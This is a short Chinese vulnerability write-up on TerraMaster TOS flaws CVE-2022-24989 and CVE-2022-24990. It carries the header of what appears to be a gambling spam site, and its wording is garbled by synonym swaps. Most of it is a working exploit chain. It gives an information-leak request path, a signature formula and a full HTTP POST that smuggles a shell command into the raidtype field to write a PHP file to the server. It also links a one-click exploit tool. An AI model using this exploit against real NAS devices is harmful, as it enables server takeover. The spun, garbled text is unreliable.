mg不朽情缘

古语有云：“学如逆水行舟
，不进则退。”面对如今随时都在变动的网络安全环境更是如此。为此
，mg不朽情缘微信公家号特开设“创安尝试室专栏”
，以纪录mg不朽情缘创安尝试室在技术上的索求
，加强同业间的互换
，相互进建
，共同进取。

?+

TerraMaster TOS 存在信息泄漏缝隙
，攻击者通过缝隙能够获取服务器上的敏感信息
，共同 CVE-2022-24989缝隙能够获取服务器权限

TerraMaster TOS < 4.2.31

CVE-2022-24990、CVE-2022-24989

严沉

目前表界Exp/PoC已公开
，创安尝试室已验证该缝隙的可利用性：

数据包中只必要增长 User-Agent: TNAS, 能够接见到敏感信息

poc: /module/api.php?mobile/webNasIPS

利用信息泄露的 PWD和mac地址
，我们就能够利用这个号令执行缝隙了

在发送要求包写入 php恶意文件

其中md5(mac地址后三字节 + 当前功夫戳) = $_SERVER['HTTP_SIGNATURE']

POST /module/api.php?mobile/createRaid HTTP/1.1

Host:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6

Authorization: PWD

Cache-Control: max-age=0

Content-Length: 82

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=; tos_visit_time=功夫戳

Signature: sign

Timestamp: 功夫戳

Upgrade-Insecure-Requests: 1

User-Agent: TNAS

raidtype=%3Becho+%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3Evuln1.php&diskstring=XXXX

这里利用https://github.com/lishang520/CVE-2022-24990进行一键获取和上传

升级到安全版本

创安尝试室